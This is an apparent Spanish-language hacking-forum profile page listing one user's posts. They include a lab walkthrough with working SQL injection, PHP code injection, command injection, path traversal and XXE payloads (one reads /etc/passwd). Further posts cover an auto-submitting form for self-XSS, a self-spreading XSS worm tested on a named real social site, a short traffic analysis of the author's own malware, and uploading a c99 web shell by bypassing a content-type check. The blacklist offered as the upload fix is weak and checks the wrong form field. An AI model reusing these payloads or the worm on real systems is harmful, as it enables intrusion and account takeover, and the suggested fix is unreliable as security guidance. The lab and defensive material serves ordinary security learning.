Reto SQLi 1

Este no tiene ningún tipo de filtro y obviamente el parámetro que enviamos es un String, así que colocaremos una tautología y un comentario para que se nos muestren todos los usuarios.
"/sqli/example1.php?name=' or 1=1-- -"

Reto SQLi 2

Ahora no nos deja colocar espacios, bueno, simplemente vamos a hacer el mismo payload sin espacios, solo que la tautología la vamos a poner comparando strings para que se cierre.
"/sqli/example2.php?name='or'1'='1"

Reto SQLi 3

Aquí también funciona usando el filtro anterior.

Reto SQLi 4

Ahora tampoco tiene ningún filtro, pero la difencia es que ahora funciona por un Integer y no por un String, por lo tanto no hay que tener en cuenta el cierre de comillas final.
"/sqli/example4.php?id=2 or 1=1"

Reto SQLi 5 y 6

También funciona usando el payload anterior.

Reto SQLi 7

Este comprueba que lo que se ha introducido sea un Integer, para saltar este filtro vamos a añadir un salto de línea: "%0A" antes de la tautología para que no la valore el filtro, pero si la consulta.
"/sqli/example7.php?id=2%0A or 1=1"

Reto SQLi 8 y 9

Al mostrar directamente todo he estado intentando hacer que solo muestre un elemento con UNION, pero no lo he conseguido, si alguien sabe como se completa este que me avise.



You are not allowed to view links. Register or Login

Reto Code injection 1

Aquí igual que en todos los primeros no hay ningún filtro, solamente tenemos que ocupar bien de que las comillas queden bien abiertas, ya que el propio código ahora las cierra.
/codeexec/example1.php?name=Rollth";phpinfo();$a="a


Reto Code injection 2

Antes él codigo usaba eval, ahora está usando la función usort (podemos verlo si colocamos el payload anterior), y esta va aser la que vamos a cerrar para que todo salga bien, para ello nos vamos a ayudar de un comentario.
"/codeexec/example2.php?order=id);}phpinfo();%23"

Reto Code injection 3

Este tampoco he sido capaz de resolverlo, si alguien lo sabe que me pase la solución.

Reto Code injection 4

Ahora si ponemos un punto nos dará un error que nos dirá que la función que usa es la función assert, pues vamos a  ayudarnostambién de los comentarios.
"/codeexec/example4.php?name=hacker'.phpinfo();%23"



You are not allowed to view links. Register or Login


Reto File Upload 1

Este es sencillo, solo tenemos que mandar la shell en php que nos guste y lo tenemos hecho.

Reto File Upload 2

En este caso tienen filtrados los archivos php, entonces lo que vamos a hacer es cambiarle la extensión a otra que pueda ejecutar php, como por ejemplo phtml.



You are not allowed to view links. Register or Login

Reto Directory traversal 1

Bueno, para resolver este reto solo tenemos que poner el path del archivo que queremos leer.
"/dirtrav/example1.php?file=../sqli/example4.php"

Reto Directory traversal 2

Este es igual de sencillo, solo que tenemos que modificar el path de la foto por el de nuestro archivo y ya podemos entrar a verlo.
/dirtrav/example2.php?file=/var/www/files/../sqli/example4.php

Reto Directory traversal 3

En este caso la terminación del archivo la da el código. Para leer nuestro archivo php vamos a añadirle al final de nuestro path un salto de linea.
/dirtrav/example3.php?file=/../sqli/example4.php%00



You are not allowed to view links. Register or Login

Reto Commands injection 1

Este primero es solo añadir a la ip el comando que queremos hacer.
"/commandexec/example1.php?ip=127.0.0.1;ls;"

Reto Commands injection 2

Ahora tiene un filtro que si añades algo que no sea la IP da un fallo, pero se puede saltar añadiendo un salto de linea.
"/commandexec/example2.php?ip=127.0.0.1%0Als"

Reto Commands injection 3

Ahora lo que hace es recargar la web si lanzas algo además de la IP, para obtener los resultaso antes de que recargue vamos a usar ncat.

"ncat 192.168.1.23 80
GET /commandexec/example3.php?ip=127.0.0.1%0Als"





You are not allowed to view links. Register or Login


Reto XML attacks 1

Ahora vamos a crear con xml una  variable en la que vamos a meter el archivo /etc/passwd y lo vamos a mostrar, seria con el siguiente payload que tenemos que You are not allowed to view links. Register or Login.
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

"/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E"

Reto XML attacks 2

Para este último vamos a hacer que nos muestre todos los usuarios, para ellos al igual que en las inyecciones SQL vamos a usar una tautología.

/xml/example2.php?name=hacker' or 2=2]%00


Ya habríamos acabado el reto.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

16

Hoy en día, por un motivo o por otro, está en alza la cantidad de gente interesada en la seguridad web y en los diferentes tipos de vulnerabilidades en aplicaciones web. Unos buenos consejos para comenzar a andar por estos lares son:

  • BUSCA INFORMACIÓN SOBRE DIFERENTES TIPOS DE VULNERABILIDADES
    Hay una gran cantidad de webs interesantes donde puedes descubrir las vulnerabilidades más comunes, donde puedes aprender como explotarlas y como arreglarlas. Una de las más famosas esYou are not allowed to view links. Register or Login. Además, también podrás encontrar mucha información al respecto en el You are not allowed to view links. Register or Login.

  • MIRAR REPORTES PÚBLICOS QUE HAN HECHO OTRAS PERSONAS EN DIFERENTES WEBS
    Otra forma de aprender y seguir avanzando, es fijarse en otra gente. Hay una gran cantidad de reportes hechos en páginas web de los cuales tú puedes aprender. En esta You are not allowed to view links. Register or Login podrás acceder a una gran cantidad de reportes públicos.

  • EMPEZAR PRACTICANDO CON WARGAMES
    Una de las mejores maneras de poner en practica lo aprendido es con wargames, podrás poner todo tu conocimiento en práctica sin el temor de poder dañar algo. You are not allowed to view links. Register or Login divide los retos dependiendo el tipo de vulnerabilidad y la dificultad. Además puedes encontrar la solución de otros muchos retos en You are not allowed to view links. Register or Login.

  • MONTAR ESCENARIOS PARA HACER PRUEBAS
    Al estar más avanzado se te ocurrirán nuevas ideas o encontrarás nuevas situaciones que no podrás practicar en los wargames. Para esto es muy aconsejable montar tus propios escenarios o laboratorios donde puedas hacer tantas pruebas como quieras.

You are not allowed to view links. Register or Login

17
Seguridad web y en servidores / Avanzando con las XSS's
« en: Septiembre 25, 2016, 02:18:00 pm »
Muy buenas Underc0ders, en el día de hoy me gustaría explicar Y hacer unas POC's, de algunas formas "nuevas" de poder explotar una XSS. Si no entendéis de lo que estoy hablando podríais empezar leyéndoos este You are not allowed to view links. Register or Login

Lo primero que quiero explicar es como se podría explotar una self XSS, este tipo de XSS se supone que es aquella que solo puedes ejecutarla tú desde tu máquina (y por lo tanto se considera un ejercicio de pura ingeniería social), funcionaría por el metodo POST y no quedaría en ninguna base de datos para que pudieran verlo el resto de usuarios, como puede ser un Mensaje Privado en una web. Un ejemplo es un buscador, pero que en lugar de funcionar enviando los parámetros por la url, se envían por método POST. Os dejo aquí el código que yo voy a usar para que podáis subirlo a un hosting y podáis hacer también la prueba.

Código: (php) You are not allowed to view links. Register or Login
<form action="buscar.php" method="POST">
<input type="text" name="busqueda" />
<input type="hidden" name="enviado" value="true" />
<button type="submit">Enviar</button>
</form>

<?php

$busqueda 
$_POST["busqueda"];
$enviado $_POST["enviado"];

if(
$enviado == "true"){
    echo 
"<p>No se encuentra la palabra " $busqueda ".</p>";
}

?>

Lo que nosotros vamos a hacer es copiar el form y subirlo a nuestro servidor de una manera que se envíe solo, y le mandaremos el link, ya como prefiráis para ejecutarle el código malicioso. La página en mi servidor ha quedado así.

Código: (php) You are not allowed to view links. Register or Login
<form id="myForm" action="url/buscar.php" method="POST">
<input type="hidden" name="busqueda" value="<script>alert(0)</script>" />
<input type="hidden" name="enviado" value="true" />
<img src=x onerror="myFunction()">
</form>

<script>
function myFunction() {
    document.getElementById("myForm").submit();
}
</script>

Y una vez el usuario pulsa el link de mi página maliciosa se ejecuta el self XSS.



La otra cosa que quería explicar es como podemos propagar un XSS, vamos a suponer que tenemos una red social (yo hice las pruebas You are not allowed to view links. Register or Login) en la cual encontramos una XSS, por ejemplo en el nombre en el perfil que es lo que ha sucedido esta vez. Entonces podríamos hacer que cuando alguien se metiese en nuestro perfil se le cambiase el nombre y se le pusiera el mismo payload y así, a su vez podría él infectar a una tercera persona. Pues en esto consistiría el proceso. ¿Y como lo hacemos?

Pues en realidad es sencillo, en este caso, hay muchas XSS's, y yo me voy a aprovechar de la que consiste en el tipo de raza de el animal. Al igual que antes vamos a hacer un HTML con un form, y ahora este form va a cambiar nuestro perfil.

Código: (php) You are not allowed to view links. Register or Login
<form id="myForm" action="http://www.facepets.es/usuario.php?dat=datos&mod=ok&mod=off&in=ok" method="POST">
<input name="raza" type="hidden" value="<script type='text/javascript' src='url/archivo1.js'></script><p onclick='salir()'>ROLO</p>">
<img src=x onerror="myFunction()">
</form>
 
<script>
function myFunction() {
    document.getElementById("myForm").submit();
}
</script>

Si os fijáis esto lo que hace es modificar la raza de cualquiera que entre en este link, y en la raza  pone el script archivo1.js
Cuando alguien entra en el perfil de una persona con ese archivo le llevará al form y esto hará que se modifique el perfil. Así cualquier persona que entre en un perfil de alguien infectado quedará el también infectado. Por último os dejo el archivo1.js para que podáis probarlo.

Código: (javascript) You are not allowed to view links. Register or Login
function salir()
{
window.location="url/Prueba 2/maligno.html";
}


Es posible que en estos dos casos haya una variable llamada csrf que es independiente para cada usuario y sirve para impedir este tipo de ataques y no se puedan hacer peticiones "Ilegítimas".

Espero que os haya gustado y sido de utilidad.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.


18
Wargames y retos / Obtener la clave. [RETO]
« en: Abril 04, 2016, 07:51:37 pm »
Muy buenas gente.

Hoy os traigo un reto sencillito, consiste en conseguir adivinar la clave que está oculta You are not allowed to view links. Register or Login.

No debería de ser muy dificil de conseguir la clave, una vez obtenida me mandas un MP y me dices cual es la clave y como lo resolviste.

[EDIT]

La clave no es "hacker_3d_arte.nso", ni es información para el reto :D

GANADORES

@You are not allowed to view links. Register or Login
@You are not allowed to view links. Register or Login
@You are not allowed to view links. Register or Login
@You are not allowed to view links. Register or Login

19
Muy buenas Underc0ders.

En el día de hoy voy a enseñar como se podría hacer un análisis de un malware analizando el tráfico que este genera. ¿Por qué vamos a analizar el trafico? Simplemente porque es rápido y muchos tipos de malwares son faciles de identificar analizando el tráfico.

En esta ocasión es un malware que he preparado yo, el malware podría estar mejor hecho para que no lo detectaran los antivirus y podría tener el icono de una imagen o algo similar, pero como es solo para una prueba eso me daba igual.

Partimos de este malware, el cual vamos a abrir desde una máquina virtual.



Yo lo primero que voy a hacer va a ser darle una ojeada rápida al regedit de Windows para ver si este malware a modificado algo en relación a las claves que contienen la información de lo que se inicia con Windows. Para ello hay que tener en cuenta las siguientes rutas.

Citar
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Hkey_current_user\software\microsoft\windows\currentversion\runonce

Entonces en una de estas rutas se ve que se ha añadido un valor que antes no estaba.



Es muy sospechoso ese tal Tembak.exe, por lo tanto voy a tomar ese ejecutable para hacer el análisis de trafico de datos, para ello voy a abrir la consola y voy a escribir el siguiente comando, el cual me da de una forma muy general las conexiones que hace cada programa.

Citar
netstat -nb

Allí puedo ver que hay una IP con la que se comunica por el puerto 21, es decir ftp, vamos a usar You are not allowed to view links. Register or Login para poder analizar lo que hace.




En este caso vamos a analizar lo que hace a través del protocolo comentado, pero también es muy típico que se use SMTP, por si acaso dejo You are not allowed to view links. Register or Login un tutorial sobre Wireshark. El filtro que yo voy a usar es el siguiente.

Citar
ip.dst== "ip" && ftp

Ahora puedo ver mucha información sobre lo que está pasando, archivos que se envían y demás cosas, pero me voy a centrar en esto. Veo que se conecta a un server de hosting ftp, y tengo el usuario y contraseña.



Aunque con todas las conexiones se puede sacar mucha información, simplemente me voy a conectar al ftp a ver que hay.



Aja @You are not allowed to view links. Register or Login , te pille.

Esto es solo una prueba para tener una idea de como se podría analizar facilmente, el resto es imaginación.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

20
Pentesting / upload.php [Vulnerabilidad]
« en: Febrero 08, 2016, 09:33:36 pm »
Muy buenas Underc0ders, en este caso vengo a explicar como se puede explotar una vulnerabilidad en un upload.php. Hay más información sobre esto en el foro, pero lo que he visto o es en video o no está explicado como a mi me gustaría que me lo explicaran.

Lo primero que tenemos que saber es que es un uploader en php.

Citar
Un uploader en php es un código que nos va a permitir subir un archivo a una página web.

En este caso nuestro código de prueba vulnerable va a ser el siguiente (El codigo no es propio, es You are not allowed to view links. Register or Login modificado).

Código: (php) You are not allowed to view links. Register or Login
<html>
<head>
<style type="text/css">
.upload{
background:#e7e7e7;
box-shadow:0px 0px 10px black;
width:500px;
height:200px;
margin-right:auto;
margin-left:auto;
border-radius:20px;

}
form{
        margin: 126px auto 0;
        width: 225px;
    }
    label{
        display: block;
    }
    input[type="file"]{
        display: block;
        margin: 8px 0;
    }
    div.resultado{
        margin: 25px auto 0;
        width: 225px;
    }
    div.resultado img{
        border: 2px solid #EEEEEE;
        height: auto;
        width: 225px;
    }
</style>
</head>
<body>
<div class="upload">
<form action="" method="post" enctype="multipart/form-data">
    <br><br>Sube un archivo:
    <input type="file" name="archivo" id="archivo" /> <br>
    <input type="submit" name="boton" value="Subir" />
</form>
<div>
<div class="resultado">
<?php 
if(isset($_POST['boton'])){ 
    
// Hacemos una condicion en la que solo permitiremos que se suban imagenes y que sean menores a 20 KB
    
if ((true==true)  &&  ($_FILES["archivo"]["size"] < 200000000)) { 
     
    
//Si es que hubo un error en la subida, mostrarlo, de la variable $_FILES podemos extraer el valor de [error], que almacena un valor booleano (1 o 0).
      
if ($_FILES["archivo"]["error"] > 0) { 
        echo 
$_FILES["archivo"]["error"] . "<br />"
      } else { 
          
// Si no hubo ningun error, hacemos otra condicion para asegurarnos que el archivo no sea repetido
          
if (file_exists("archivos/" $_FILES["archivo"]["name"])) { 
            echo 
$_FILES["archivo"]["name"] . " ya existe. "
          } else { 
           
// Si no es un archivo repetido y no hubo ningun error, procedemos a subir a la carpeta /archivos, seguido de eso mostramos la imagen subida
            
move_uploaded_file($_FILES["archivo"]["tmp_name"], 
            
"archivos/" $_FILES["archivo"]["name"]); 
            echo 
"Archivo Subido <br />"
            echo 
"<img src='archivos/".$_FILES["archivo"]["name"]."' />"
          } 
      } 
    } else { 
        echo 
"Archivo no permitido"
    } 

?>

</div>
</body>
</html>

Este código nos deja subir archivos de cualquier extensión y aquí es donde nosotros nos vamos a aprovechar. En este caso yo voy a subir una shell You are not allowed to view links. Register or Login, que es muy intuitiva de manejar.



Ya solo nos quedaría ir al directorio está el archivo malicios, en este caso: "/archivos/c99.php".

Dejo aquí una foto de la shell. El funcionamiento como digo es muy intuitivo.



(Ya se que tengo que activar Windows xD)

Ahora voy a mostrar un filtro que NO DEBÉIS USAR y como hacer un bypass, es decir, saltarse el filtro.(Despues mostrare el filtro final).

Código: (php) You are not allowed to view links. Register or Login
<html>
<head>
<style type="text/css">
.upload{
background:#e7e7e7;
box-shadow:0px 0px 10px black;
width:500px;
height:200px;
margin-right:auto;
margin-left:auto;
border-radius:20px;

}
form{
        margin: 126px auto 0;
        width: 225px;
    }
    label{
        display: block;
    }
    input[type="file"]{
        display: block;
        margin: 8px 0;
    }
    div.resultado{
        margin: 25px auto 0;
        width: 225px;
    }
    div.resultado img{
        border: 2px solid #EEEEEE;
        height: auto;
        width: 225px;
    }
</style>
</head>
<body>
<div class="upload">
<form action="" method="post" enctype="multipart/form-data">
    <br><br>Sube un archivo:
    <input type="file" name="archivo" id="archivo" /> <br>
    <input type="submit" name="boton" value="Subir" />
</form>
<div>
<div class="resultado">
<?php 
if(isset($_POST['boton'])){ 
    
// Hacemos una condicion en la que solo permitiremos que se suban imagenes y que sean menores a 20 KB
    
if ((($_FILES["archivo"]["type"] == "image/gif") || 
    (
$_FILES["archivo"]["type"] == "image/jpeg") || 
    (
$_FILES["archivo"]["type"] == "image/pjpeg")) && 
    (
$_FILES["archivo"]["size"] < 20000)) { 
     
    
//Si es que hubo un error en la subida, mostrarlo, de la variable $_FILES podemos extraer el valor de [error], que almacena un valor booleano (1 o 0).
      
if ($_FILES["archivo"]["error"] > 0) { 
        echo 
$_FILES["archivo"]["error"] . "<br />"
      } else { 
          
// Si no hubo ningun error, hacemos otra condicion para asegurarnos que el archivo no sea repetido
          
if (file_exists("archivos/" $_FILES["archivo"]["name"])) { 
            echo 
$_FILES["archivo"]["name"] . " ya existe. "
          } else { 
           
// Si no es un archivo repetido y no hubo ningun error, procedemos a subir a la carpeta /archivos, seguido de eso mostramos la imagen subida
            
move_uploaded_file($_FILES["archivo"]["tmp_name"], 
            
"archivos/" $_FILES["archivo"]["name"]); 
            echo 
"Archivo Subido <br />"
            echo 
"<img src='archivos/".$_FILES["archivo"]["name"]."' />"
          } 
      } 
    } else { 
        echo 
"Archivo no permitido"
    } 

?>

</div>
</body>
</html>

Si os fijáis en estas lineas:
 
Código: (php) You are not allowed to view links. Register or Login
if ((($_FILES["archivo"]["type"] == "image/gif") ||
    ($_FILES["archivo"]["type"] == "image/jpeg") ||
    ($_FILES["archivo"]["type"] == "image/pjpeg")) &&
    ($_FILES["archivo"]["size"] < 20000))

Lo que hace el php es comprobar el content type del archivo y no comprueba la terminación del archivo (si es php, html, etc). Para saltarte este filtro lo que hay que hacer es lo siguiente:

1º Hay que descargarse firefox, ya que vamos a usar una You are not allowed to view links. Register or Login de firefox para esta prueba.

2º Hay que renombrar el archivo c99.php a c99.jpg, ya que es un tipo de los archivos que nos permite subir este uploader.

3º En la web le damos a examinar y ponemos nuestro archivo c99.jpg (NO LE DAMOS A SUBIR TODAVIA). Tiene que quedar asi.



4º Iniciamos Tamper Data. (Está en el menú de arriba en la barra de herramientas).



5º Le damos a comenzar modificación.



6º Ya podemos darle a enviar el archivo, nos saldra una pantallita y le tenemos que dar a modificar.



7º Entonces nos saldrá otra pantalla y tenemos que modificar el código de la derecha.



En ese código hay que buscar algo de este estilo.

Código: You are not allowed to view links. Register or Login
filename="c99.jpg"\r\nContent-Type: image/jpeg\r\n\r\n
Y cambiar "c99.jpg" por c99.php. Le das a enviar y listo. Esto saltará el filtro ya que aunque estas subiendo el archivo con la terminación .php el content type es de un jpg, y el código del upload comprueba el content type y no la terminación.

Por último una forma de arreglar esto sería añadir estas líneas.

El código ha sido editado porque como decía @seth seguía siendo vulnerable.

Código: (php) You are not allowed to view links. Register or Login
$blacklist = array(".php", ".phtml", ".php3", ".php4" , ".html", "htaccess");
 
    foreach ($blacklist as $item) {
      if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) {
         echo "No se permiten archivos PHP";
         exit;
      }
    }

Con lo que el código final quedaría así.

Código: (php) You are not allowed to view links. Register or Login
<html>
<head>
<style type="text/css">
.upload{
background:#e7e7e7;
box-shadow:0px 0px 10px black;
width:500px;
height:200px;
margin-right:auto;
margin-left:auto;
border-radius:20px;

}
form{
        margin: 126px auto 0;
        width: 225px;
    }
    label{
        display: block;
    }
    input[type="file"]{
        display: block;
        margin: 8px 0;
    }
    div.resultado{
        margin: 25px auto 0;
        width: 225px;
    }
    div.resultado img{
        border: 2px solid #EEEEEE;
        height: auto;
        width: 225px;
    }
</style>
</head>
<body>
<div class="upload">
<form action="" method="post" enctype="multipart/form-data">
    <br><br>Sube un archivo:
    <input type="file" name="archivo" id="archivo" /> <br>
    <input type="submit" name="boton" value="Subir" />
</form>
<div>
<div class="resultado">
<?php 

$blacklist 
= array(".php"".phtml"".php3"".php4" ".html""htaccess");
 
    foreach (
$blacklist as $item) {
      if(
preg_match("/$item\$/i"$_FILES['userfile']['name'])) {
         echo 
"No se permiten archivos PHP";
         exit;
     }
}
if(isset(
$_POST['boton'])){ 
    
// Hacemos una condicion en la que solo permitiremos que se suban imagenes y que sean menores a 20 KB
    
if ((($_FILES["archivo"]["type"] == "image/gif") ||  
    (
$_FILES["archivo"]["type"] == "image/jpeg") ||  
    (
$_FILES["archivo"]["type"] == "image/pjpeg")) &&  
    (
$_FILES["archivo"]["size"] < 200000000)) { 
     
    
//Si es que hubo un error en la subida, mostrarlo, de la variable $_FILES podemos extraer el valor de [error], que almacena un valor booleano (1 o 0).
      
if ($_FILES["archivo"]["error"] > 0) { 
        echo 
$_FILES["archivo"]["error"] . "<br />"
      } else { 
          
// Si no hubo ningun error, hacemos otra condicion para asegurarnos que el archivo no sea repetido
          
if (file_exists("archivos/" $_FILES["archivo"]["name"])) { 
            echo 
$_FILES["archivo"]["name"] . " ya existe. "
          } else { 
           
// Si no es un archivo repetido y no hubo ningun error, procedemos a subir a la carpeta /archivos, seguido de eso mostramos la imagen subida
            
move_uploaded_file($_FILES["archivo"]["tmp_name"], 
            
"archivos/" $_FILES["archivo"]["name"]); 
            echo 
"Archivo Subido <br />"
            echo 
"<img src='archivos/".$_FILES["archivo"]["name"]."' />"
          } 
      } 
    } else { 
        echo 
"Archivo no permitido"
    } 

?>

</div>
</body>
</html>


Espero que esto sea utilidad.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.
 

Páginas: [1] 2 3 4